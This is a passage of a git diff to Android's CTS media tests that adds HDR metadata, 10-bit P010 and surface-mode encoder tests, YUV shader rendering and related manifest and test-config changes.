+ MediaFormat.COLOR_TRANSFER_HLG,
+ MediaFormat.COLOR_TRANSFER_ST2084};
+
List<Object[]> exhaustiveArgsList = new ArrayList<>();
- // Assumes all combinations are supported by the standard
- for (String mime : mimes) {
- for (int range : ranges) {
- for (int standard : standards) {
- for (int transfer : transfers) {
- exhaustiveArgsList
- .add(new Object[]{mime, 176, 144, range, standard, transfer});
- }
- }
- }
+ List<String> stringArgsList = new ArrayList<>();
+ prepareArgsList(exhaustiveArgsList, stringArgsList, mimes, ranges, standards, transfers,
+ false);
+ // P010 support was added in Android T, hence limit the following tests to Android T and
+ // above
+ if (IS_AT_LEAST_T) {
+ prepareArgsList(exhaustiveArgsList, stringArgsList, mediaTypesHighBitDepth, ranges,
+ standardsHighBitDepth, transfersHighBitDepth, true);
}
return CodecTestBase
.prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
}
+ private long computePresentationTime(int frameIndex) {
+ return frameIndex * 1000000 / mFrameRate;
+ }
+
+ private void generateSurfaceFrame() {
+ GLES20.glViewport(0, 0, mWidth, mHeight);
+ GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
+ GLES20.glClearColor(128.0f, 128.0f, 128.0f, 1.0f);
+ GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+ }
+
+ private void tryEncoderOutput(long timeOutUs) throws InterruptedException {
+ if (!mAsyncHandle.hasSeenError() && !mSawOutputEOS) {
+ int retry = 0;
+ while (mReviseLatency) {
+ if (mAsyncHandle.hasOutputFormatChanged()) {
+ mReviseLatency = false;
+ int actualLatency = mAsyncHandle.getOutputFormat()
+ .getInteger(MediaFormat.KEY_LATENCY, mLatency);
+ if (mLatency < actualLatency) {
+ mLatency = actualLatency;
+ return;
+ }
+ } else {
+ if (retry > RETRY_LIMIT) {
+ throw new InterruptedException(
+ "did not receive output format changed for encoder after " +
+ Q_DEQ_TIMEOUT_US * RETRY_LIMIT + " us");
+ }
+ Thread.sleep(Q_DEQ_TIMEOUT_US / 1000);
+ retry++;
+ }
+ }
+ Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getOutput();
+ if (element != null) {
+ dequeueOutput(element.first, element.second);
+ }
+ }
+ }
+
+ void queueEOS() throws InterruptedException {
+ if (!mSurfaceMode) {
+ super.queueEOS();
+ } else {
+ if (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+ mCodec.signalEndOfInputStream();
+ mSawInputEOS = true;
+ if (ENABLE_LOGS) Log.d(LOG_TAG, "signalled end of stream");
+ }
+ }
+ }
+
+ void doWork(int frameLimit) throws IOException, InterruptedException {
+ if (!mSurfaceMode) {
+ super.doWork(frameLimit);
+ } else {
+ while (!mAsyncHandle.hasSeenError() && !mSawInputEOS &&
+ mInputCount < frameLimit) {
+ if (mInputCount - mOutputCount > mLatency) {
+ tryEncoderOutput(CodecTestBase.Q_DEQ_TIMEOUT_US);
+ }
+ mEGLWindowInpSurface.makeCurrent();
+ generateSurfaceFrame();
+ mEGLWindowInpSurface
+ .setPresentationTime(computePresentationTime(mInputCount) * 1000);
+ if (ENABLE_LOGS) Log.d(LOG_TAG, "inputSurface swapBuffers");
+ mEGLWindowInpSurface.swapBuffers();
+ mInputCount++;
+ }
+ }
+ }
@SmallTest
@Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
public void testColorAspects() throws IOException, InterruptedException {
Assume.assumeTrue("Test introduced with Android 11", sIsAtLeastR);
- setUpSource(mInputFile);
+ if (mSurfaceMode) {
+ Assume.assumeTrue("Surface mode tests are limited to devices launching with Android T",
+ FIRST_SDK_IS_AT_LEAST_T);
+ }
+
+ if (mUseHighBitDepth) {
+ // Check if encoder is capable of supporting HDR profiles.
+ // Previous check doesn't verify this as profile isn't set in the format
+ Assume.assumeTrue(mCodecName + " doesn't support HDR encoding",
+ CodecTestBase.doesCodecSupportHDRProfile(mCodecName, mMime));
+
+ // Encoder surface mode tests are to be enabled only if an encoder supports
+ // COLOR_Format32bitABGR2101010
+ if (mSurfaceMode) {
+ Assume.assumeTrue(mCodecName + " doesn't support RGBA1010102",
+ hasSupportForColorFormat(mCodecName, mMime, COLOR_Format32bitABGR2101010));
+ }
+ }
+
+ if (mSurfaceMode) {
+ mConfigFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatSurface);
+ } else {
+ String inputTestFile = mInputFile;
+ if (mUseHighBitDepth) {
+ Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+ mConfigFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+ mBytesPerSample = 2;
+ inputTestFile = INPUT_VIDEO_FILE_HBD;
+ }
+ setUpSource(inputTestFile);
+ }
+
mOutputBuff = new OutputManager();
{
mCodec = MediaCodec.createByCodecName(mCodecName);
@@ -156,13 +311,25 @@
if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
- tmpFile = File.createTempFile("tmp", ".webm");
+ tmpFile = File.createTempFile("tmp" + (mUseHighBitDepth ? "10bit" : ""), ".webm");
} else {
muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
- tmpFile = File.createTempFile("tmp", ".mp4");
+ tmpFile = File.createTempFile("tmp" + (mUseHighBitDepth ? "10bit" : ""), ".mp4");
}
mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
- configureCodec(mConfigFormat, true, true, true);
+ // When in surface mode, encoder needs to be configured in async mode
+ boolean isAsync = mSurfaceMode;
+ configureCodec(mConfigFormat, isAsync, true, true);
+
+ if (mSurfaceMode) {
+ mInpSurface = mCodec.createInputSurface();
+ assertTrue("Surface is not valid", mInpSurface.isValid());
+ mEGLWindowInpSurface = new EGLWindowSurface(mInpSurface, mUseHighBitDepth);
+ if (mCodec.getInputFormat().containsKey(MediaFormat.KEY_LATENCY)) {
+ mReviseLatency = true;
+ mLatency = mCodec.getInputFormat().getInteger(MediaFormat.KEY_LATENCY);
+ }
+ }
mCodec.start();
doWork(4);
queueEOS();
@@ -175,6 +342,16 @@
mMuxer.release();
mMuxer = null;
}
+
+ if (mEGLWindowInpSurface != null) {
+ mEGLWindowInpSurface.release();
+ mEGLWindowInpSurface = null;
+ }
+ if (mInpSurface != null) {
+ mInpSurface.release();
+ mInpSurface = null;
+ }
+
assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
assertTrue(log + "no input sent", 0 != mInputCount);
assertTrue(log + "output received", 0 != mOutputCount);
@@ -185,19 +362,25 @@
mCodec.release();
// verify if the muxed file contains color aspects as expected
- CodecDecoderTestBase cdtb = new CodecDecoderTestBase(null, mMime, null);
+ MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ String decoder = codecList.findDecoderForFormat(mConfigFormat);
+ assertNotNull("Device advertises support for encoding " + mConfigFormat.toString() +
+ " but not decoding it", decoder);
+ CodecDecoderTestBase cdtb = new CodecDecoderTestBase(decoder, mMime,
+ tmpFile.getAbsolutePath());
String parent = tmpFile.getParent();
if (parent != null) parent += File.separator;
else parent = "";
- cdtb.validateColorAspects(null, parent, tmpFile.getName(), mRange, mStandard,
+ cdtb.validateColorAspects(decoder, parent, tmpFile.getName(), mRange, mStandard,
mTransferCurve, false);
// if color metadata can also be signalled via elementary stream then verify if the
// elementary stream contains color aspects as expected
if (mCheckESList.contains(mMime)) {
- cdtb.validateColorAspects(null, parent, tmpFile.getName(), mRange, mStandard,
+ cdtb.validateColorAspects(decoder, parent, tmpFile.getName(), mRange, mStandard,
mTransferCurve, true);
}
+ tmpFile.delete();
}
}
}
diff --git a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
new file mode 100644
index 0000000..26c6eb5
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.os.Build;
+import android.os.Bundle;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Test to validate hdr static and dynamic metadata in encoders
+ */
+@RunWith(Parameterized.class)
+// P010 support was added in Android T, hence limit the following tests to Android T and above
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+public class EncoderHDRInfoTest extends CodecEncoderTestBase {
+ private static final String LOG_TAG = EncoderHDRInfoTest.class.getSimpleName();
+ private MediaMuxer mMuxer;
+ private int mTrackID = -1;
+
+ static final ArrayList<String> mCheckESList = new ArrayList<>();
+
+ static {
+ mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+ mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+ mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+ }
+
+ public EncoderHDRInfoTest(String encoderName, String mediaType, int bitrate, int width,
+ int height, boolean testDynamicMetadata) {
+ super(encoderName, mediaType, new int[]{bitrate}, new int[]{width}, new int[]{height});
+ mTestDynamicMetadata = testDynamicMetadata;
+ }
+
+ void enqueueInput(int bufferIndex) {
+ if(mTestDynamicMetadata){
+ final Bundle params = new Bundle();
+ byte[] info = loadByteArrayFromString(HDR_DYNAMIC_INFO[mInputCount]);
+ params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
+ mCodec.setParameters(params);
+ if (mInputCount >= HDR_DYNAMIC_INFO.length) {
+ mSawInputEOS = true;
+ }
+ }
+ super.enqueueInput(bufferIndex);
+ }
+ void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+ MediaFormat bufferFormat = mCodec.getOutputFormat(bufferIndex);
+ if (info.size > 0) {
+ ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
+ if (mMuxer != null) {
+ if (mTrackID == -1) {
+ mTrackID = mMuxer.addTrack(bufferFormat);
+ mMuxer.start();
+ }
+ mMuxer.writeSampleData(mTrackID, buf, info);
+ }
+ }
+ super.dequeueOutput(bufferIndex, info);
+ // verify if the out fmt contains HDR Dynamic metadata as expected
+ if (mTestDynamicMetadata && mOutputCount > 0) {
+ validateHDRDynamicMetaData(bufferFormat,
+ ByteBuffer.wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount - 1])));
+ }
+ }
+
+ @Parameterized.Parameters(name = "{index}({0}_{1})")
+ public static Collection<Object[]> input() {
+ final boolean isEncoder = true;
+ final boolean needAudio = false;
+ final boolean needVideo = true;
+
+ final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+ {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, false},
+ {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, false},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, false},
+
+ {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, true},
+ {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, true},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, true},
+ });
+
+ return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+ }
+
+ @SmallTest
+ @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+ public void testHDRMetadata() throws IOException, InterruptedException {
+ int profile;
+ setUpParams(1);
+ MediaFormat format = mFormats.get(0);
+ final ByteBuffer hdrStaticInfo = ByteBuffer.wrap(loadByteArrayFromString(HDR_STATIC_INFO));
+ if (mTestDynamicMetadata) {
+ profile = mProfileHdr10PlusMap.getOrDefault(mMime, new int[]{-1})[0];
+ } else {
+ profile = mProfileHdr10Map.getOrDefault(mMime, new int[]{-1})[0];
+ }
+ format.setInteger(MediaFormat.KEY_PROFILE, profile);
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+ format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+ format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020);
+ format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084);
+ format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, hdrStaticInfo);
+ mFormats.clear();
+ mFormats.add(format);
+ Assume.assumeTrue(mCodecName + " does not support this HDR profile",
+ areFormatsSupported(mCodecName, mMime, mFormats));
+ Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010",
+ hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+ mBytesPerSample = 2;
+ setUpSource(INPUT_VIDEO_FILE_HBD);
+ mOutputBuff = new OutputManager();
+ mCodec = MediaCodec.createByCodecName(mCodecName);
+ mOutputBuff.reset();
+ String log = String.format("format: %s \n codec: %s:: ", format, mCodecName);
+ File tmpFile;
+ int muxerFormat;
+ if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+ muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
+ tmpFile = File.createTempFile("tmp10bit", ".webm");
+ } else {
+ muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
+ tmpFile = File.createTempFile("tmp10bit", ".mp4");
+ }
+ mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
+ configureCodec(format, true, true, true);
+ mCodec.start();
+ doWork(4);
+ queueEOS();
+ waitForAllOutputs();
+ if (mTrackID != -1) {
+ mMuxer.stop();
+ mTrackID = -1;
+ }
+ if (mMuxer != null) {
+ mMuxer.release();
+ mMuxer = null;
+ }
+ assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
+ assertTrue(log + "no input sent", 0 != mInputCount);
+ assertTrue(log + "output received", 0 != mOutputCount);
+
+ MediaFormat fmt = mCodec.getOutputFormat();
+ mCodec.stop();
+ mCodec.release();
+
+ // verify if the out fmt contains HDR Static metadata as expected
+ validateHDRStaticMetaData(fmt, hdrStaticInfo);
+
+ // verify if the muxed file contains HDR metadata as expected
+ MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ String decoder = codecList.findDecoderForFormat(format);
+ assertNotNull("Device advertises support for encoding " + format.toString() +
+ " but not decoding it", decoder);
+ CodecDecoderTestBase cdtb =
+ new CodecDecoderTestBase(decoder, mMime, tmpFile.getAbsolutePath());
+ String parent = tmpFile.getParent();
+ if (parent != null) parent += File.separator;
+ else parent = "";
+ cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, false);
+ if (mTestDynamicMetadata) {
+ cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), false);
+ }
+
+ // if HDR static metadata can also be signalled via elementary stream then verify if
+ // the elementary stream contains HDR static data as expected
+ if (mCheckESList.contains(mMime)) {
+ cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, true);
+
+ // since HDR static metadata is signalled via elementary stream then verify if
+ // the elementary stream contains HDR static data as expected
+ if (mTestDynamicMetadata) {
+ cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), true);
+ }
+ }
+
+ tmpFile.delete();
+ }
+}
diff --git a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
index 741402f..c196d6e 100644
--- a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
@@ -38,6 +38,7 @@
import java.util.HashMap;
import java.util.List;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
import static android.media.MediaCodecInfo.CodecProfileLevel.*;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
@@ -52,12 +53,15 @@
private static final String LOG_TAG = EncoderProfileLevelTest.class.getSimpleName();
private static final HashMap<String, Pair<int[], Integer>> mProfileLevelCdd = new HashMap<>();
+ private final boolean mUseHighBitDepth;
+
private MediaFormat mConfigFormat;
private MediaMuxer mMuxer;
public EncoderProfileLevelTest(String encoder, String mime, int bitrate, int encoderInfo1,
- int encoderInfo2, int frameRate) {
+ int encoderInfo2, int frameRate, boolean useHighBitDepth) {
super(encoder, mime, new int[]{bitrate}, new int[]{encoderInfo1}, new int[]{encoderInfo2});
+ mUseHighBitDepth = useHighBitDepth;
if (mIsAudio) {
mSampleRate = encoderInfo1;
mChannels = encoderInfo2;
@@ -70,7 +74,7 @@
mConfigFormat = mFormats.get(0);
}
- @Parameterized.Parameters(name = "{index}({0}_{1})")
+ @Parameterized.Parameters(name = "{index}({0}_{1}_{2}_{3}_{4}_{6})")
public static Collection<Object[]> input() {
final boolean isEncoder = true;
final boolean needAudio = true;
@@ -185,8 +189,25 @@
{MediaFormat.MIMETYPE_VIDEO_VP8, 512000, 176, 144, 20},
{MediaFormat.MIMETYPE_VIDEO_VP8, 512000, 480, 360, 20},
});
-
- return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+ final List<Object[]> argsList = new ArrayList<>();
+ for (Object[] arg : exhaustiveArgsList) {
+ int argLength = exhaustiveArgsList.get(0).length;
+ Object[] testArgs = new Object[argLength + 1];
+ System.arraycopy(arg, 0, testArgs, 0, argLength);
+ testArgs[argLength] = false;
+ argsList.add(testArgs);
+ // P010 support was added in Android T, hence limit the following tests to Android T and
+ // above
+ if (IS_AT_LEAST_T) {
+ if (mProfileHdrMap.get(arg[0]) != null) {
+ Object[] testArgsHighBitDepth = new Object[argLength + 1];
+ System.arraycopy(arg, 0, testArgsHighBitDepth, 0, argLength);
+ testArgsHighBitDepth[argLength] = true;
+ argsList.add(testArgsHighBitDepth);
+ }
+ }
+ }
+ return prepareParamList(argsList, isEncoder, needAudio, needVideo, false);
}
static {
@@ -649,8 +670,26 @@
*/
@Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
public void testValidateProfileLevel() throws IOException, InterruptedException {
- int[] profiles = mProfileSdrMap.get(mMime);
+ int[] profiles;
+ String inputTestFile = mInputFile;
+ MediaFormat format = mConfigFormat;
+ String outputFilePrefix = "tmp";
+ if (mIsAudio) {
+ profiles = mProfileMap.get(mMime);
+ } else {
+ if (mUseHighBitDepth) {
+ Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+ mBytesPerSample = 2;
+ inputTestFile = INPUT_VIDEO_FILE_HBD;
+ outputFilePrefix += "_10bit";
+ profiles = mProfileHlgMap.get(mMime);
+ } else {
+ profiles = mProfileSdrMap.get(mMime);
+ }
+ }
assertTrue("no profile entry found for mime" + mMime, profiles != null);
+
// cdd check initialization
boolean cddSupportedMime = mProfileLevelCdd.get(mMime) != null;
int[] profileCdd = new int[0];
@@ -660,11 +699,11 @@
profileCdd = cddProfileLevel.first;
levelCdd = cddProfileLevel.second;
}
- MediaFormat format = mConfigFormat;
mOutputBuff = new OutputManager();
- setUpSource(mInputFile);
+ setUpSource(inputTestFile);
mSaveToMem = true;
- String tempMuxedFile = File.createTempFile("tmp", ".out").getAbsolutePath();
+
+ String tempMuxedFile = File.createTempFile(outputFilePrefix, ".bin").getAbsolutePath();
{
mCodec = MediaCodec.createByCodecName(mCodecName);
MediaCodecInfo.CodecCapabilities codecCapabilities =
diff --git a/tests/media/src/android/mediav2/cts/OutputSurface.java b/tests/media/src/android/mediav2/cts/OutputSurface.java
index f62cde9..03856a2 100644
--- a/tests/media/src/android/mediav2/cts/OutputSurface.java
+++ b/tests/media/src/android/mediav2/cts/OutputSurface.java
@@ -64,15 +64,19 @@
* EGL context and surface will be made current. Creates a Surface that can be passed
* to MediaCodec.configure().
*/
- public OutputSurface(int width, int height) {
+ public OutputSurface(int width, int height, boolean useHighBitDepth) {
+ this(width, height, useHighBitDepth, /* useYuvSampling */ false);
+ }
+
+ public OutputSurface(int width, int height, boolean useHighBitDepth, boolean useYuvSampling) {
if (width <= 0 || height <= 0) {
throw new IllegalArgumentException();
}
- eglSetup(width, height);
+ eglSetup(width, height, useHighBitDepth, useYuvSampling);
makeCurrent();
- setup(this);
+ setup(this, useYuvSampling);
}
/**
@@ -80,23 +84,24 @@
* new one). Creates a Surface that can be passed to MediaCodec.configure().
*/
public OutputSurface() {
- setup(this);
+ setup(this, /* useYuvSampling */ false);
}
public OutputSurface(final SurfaceTexture.OnFrameAvailableListener listener) {
- setup(listener);
+ setup(listener, /* useYuvSampling */ false);
}
/**
* Creates instances of TextureRender and SurfaceTexture, and a Surface associated
* with the SurfaceTexture.
*/
- private void setup(SurfaceTexture.OnFrameAvailableListener listener) {
+ private void setup(SurfaceTexture.OnFrameAvailableListener listener, boolean useYuvSampling) {
assertTrue(EGL14.eglGetCurrentContext() != EGL14.EGL_NO_CONTEXT);
assertTrue(EGL14.eglGetCurrentDisplay() != EGL14.EGL_NO_DISPLAY);
assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_DRAW) != EGL14.EGL_NO_SURFACE);
assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_READ) != EGL14.EGL_NO_SURFACE);
mTextureRender = new TextureRender();
+ mTextureRender.setUseYuvSampling(useYuvSampling);
mTextureRender.surfaceCreated();
// Even if we don't access the SurfaceTexture after the constructor returns, we
@@ -125,7 +130,7 @@
/**
* Prepares EGL. We want a GLES 2.0 context and a surface that supports pbuffer.
*/
- private void eglSetup(int width, int height) {
+ private void eglSetup(int width, int height, boolean useHighBitDepth, boolean useYuvSampling) {
mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
throw new RuntimeException("unable to get EGL14 display");
@@ -138,10 +143,13 @@
// Configure EGL for pbuffer and OpenGL ES 2.0. We want enough RGB bits
// to be able to tell if the frame is reasonable.
+ int eglColorSize = useHighBitDepth ? 10: 8;
+ int eglAlphaSize = useHighBitDepth ? 2: 0;
int[] attribList = {
- EGL14.EGL_RED_SIZE, 8,
- EGL14.EGL_GREEN_SIZE, 8,
- EGL14.EGL_BLUE_SIZE, 8,
+ EGL14.EGL_RED_SIZE, eglColorSize,
+ EGL14.EGL_GREEN_SIZE, eglColorSize,
+ EGL14.EGL_BLUE_SIZE, eglColorSize,
+ EGL14.EGL_ALPHA_SIZE, eglAlphaSize,
EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
EGL14.EGL_SURFACE_TYPE, EGL14.EGL_PBUFFER_BIT,
EGL14.EGL_NONE
@@ -153,9 +161,10 @@
throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
}
- // Configure context for OpenGL ES 2.0.
+ // Configure context for OpenGL ES 3.0/2.0.
+ int eglContextClientVersion = useYuvSampling ? 3: 2;
int[] attrib_list = {
- EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
+ EGL14.EGL_CONTEXT_CLIENT_VERSION, eglContextClientVersion,
EGL14.EGL_NONE
};
mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
diff --git a/tests/media/src/android/mediav2/cts/TextureRender.java b/tests/media/src/android/mediav2/cts/TextureRender.java
index 4cda868..548ff03 100644
--- a/tests/media/src/android/mediav2/cts/TextureRender.java
+++ b/tests/media/src/android/mediav2/cts/TextureRender.java
@@ -49,7 +49,7 @@
private FloatBuffer mTriangleVertices;
- private static final String VERTEX_SHADER =
+ private static final String VERTEX_SHADER_RGB =
"uniform mat4 uMVPMatrix;\n" +
"uniform mat4 uSTMatrix;\n" +
"attribute vec4 aPosition;\n" +
@@ -60,7 +60,7 @@
" vTextureCoord = (uSTMatrix * aTextureCoord).xy;\n" +
"}\n";
- private static final String FRAGMENT_SHADER =
+ private static final String FRAGMENT_SHADER_RGB =
"#extension GL_OES_EGL_image_external : require\n" +
"precision mediump float;\n" + // highp here doesn't seem to matter
"varying vec2 vTextureCoord;\n" +
@@ -69,6 +69,30 @@
" gl_FragColor = texture2D(sTexture, vTextureCoord);\n" +
"}\n";
+ private static final String VERTEX_SHADER_YUV =
+ "#version 300 es\n" +
+ "uniform mat4 uMVPMatrix;\n" +
+ "uniform mat4 uSTMatrix;\n" +
+ "in vec4 aPosition;\n" +
+ "in vec4 aTextureCoord;\n" +
+ "out vec2 vTextureCoord;\n" +
+ "void main() {\n" +
+ " gl_Position = uMVPMatrix * aPosition;\n" +
+ " vTextureCoord = (uSTMatrix * aTextureCoord).xy;\n" +
+ "}\n";
+
+ private static final String FRAGMENT_SHADER_YUV =
+ "#version 300 es\n" +
+ "#extension GL_OES_EGL_image_external : require\n" +
+ "#extension GL_EXT_YUV_target : require\n" +
+ "precision mediump float;\n" + // highp here doesn't seem to matter
+ "uniform __samplerExternal2DY2YEXT uTexSampler;\n" +
+ "in vec2 vTextureCoord;\n" +
+ "out vec4 outColor;\n" +
+ "void main() {\n" +
+ " outColor = texture(uTexSampler, vTextureCoord);\n" +
+ "}\n";
+
private float[] mMVPMatrix = new float[16];
private float[] mSTMatrix = new float[16];
@@ -78,6 +102,7 @@
private int muSTMatrixHandle;
private int maPositionHandle;
private int maTextureHandle;
+ private boolean mUseYuvSampling;
public TextureRender() {
mTriangleVertices = ByteBuffer.allocateDirect(
@@ -86,6 +111,11 @@
mTriangleVertices.put(mTriangleVerticesData).position(0);
Matrix.setIdentityM(mSTMatrix, 0);
+ mUseYuvSampling = false;
+ }
+
+ public void setUseYuvSampling(boolean useYuvSampling) {
+ mUseYuvSampling = useYuvSampling;
}
public int getTextureId() {
@@ -132,7 +162,11 @@
* Initializes GL state. Call this after the EGL surface has been created and made current.
*/
public void surfaceCreated() {
- mProgram = createProgram(VERTEX_SHADER, FRAGMENT_SHADER);
+ if (mUseYuvSampling == false) {
+ mProgram = createProgram(VERTEX_SHADER_RGB, FRAGMENT_SHADER_RGB);
+ } else {
+ mProgram = createProgram(VERTEX_SHADER_YUV, FRAGMENT_SHADER_YUV);
+ }
if (mProgram == 0) {
throw new RuntimeException("failed creating program");
}
@@ -183,7 +217,7 @@
*/
public void changeFragmentShader(String fragmentShader) {
GLES20.glDeleteProgram(mProgram);
- mProgram = createProgram(VERTEX_SHADER, fragmentShader);
+ mProgram = createProgram(VERTEX_SHADER_RGB, fragmentShader);
if (mProgram == 0) {
throw new RuntimeException("failed creating program");
}
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 9424638..774595c 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
// user has specified the mediaDirString via instrumentation-arg
return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
} else {
- return (getTopDirString() + "test/CtsMediaV2TestCases-2.2/");
+ return (getTopDirString() + "test/CtsMediaV2TestCases-2.4/");
}
}
}
diff --git a/tests/mediapc/AndroidManifest.xml b/tests/mediapc/AndroidManifest.xml
index 20d030e..bbb1934 100644
--- a/tests/mediapc/AndroidManifest.xml
+++ b/tests/mediapc/AndroidManifest.xml
@@ -23,6 +23,8 @@
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+ <uses-permission android:name="android.permission.INTERNET" />
<application
android:requestLegacyExternalStorage="true"
diff --git a/tests/mediapc/AndroidTest.xml b/tests/mediapc/AndroidTest.xml
index dcc8995..dc36e58 100644
--- a/tests/mediapc/AndroidTest.xml
+++ b/tests/mediapc/AndroidTest.xml
@@ -24,6 +24,11 @@
<option name="config-filename" value="CtsMediaPerformanceClassTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaPerformanceClassTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaPerformanceClassTestCases-1.2" />
diff --git a/tests/mediapc/README.md b/tests/mediapc/README.md
index f21aeb9..b2d0918 100644
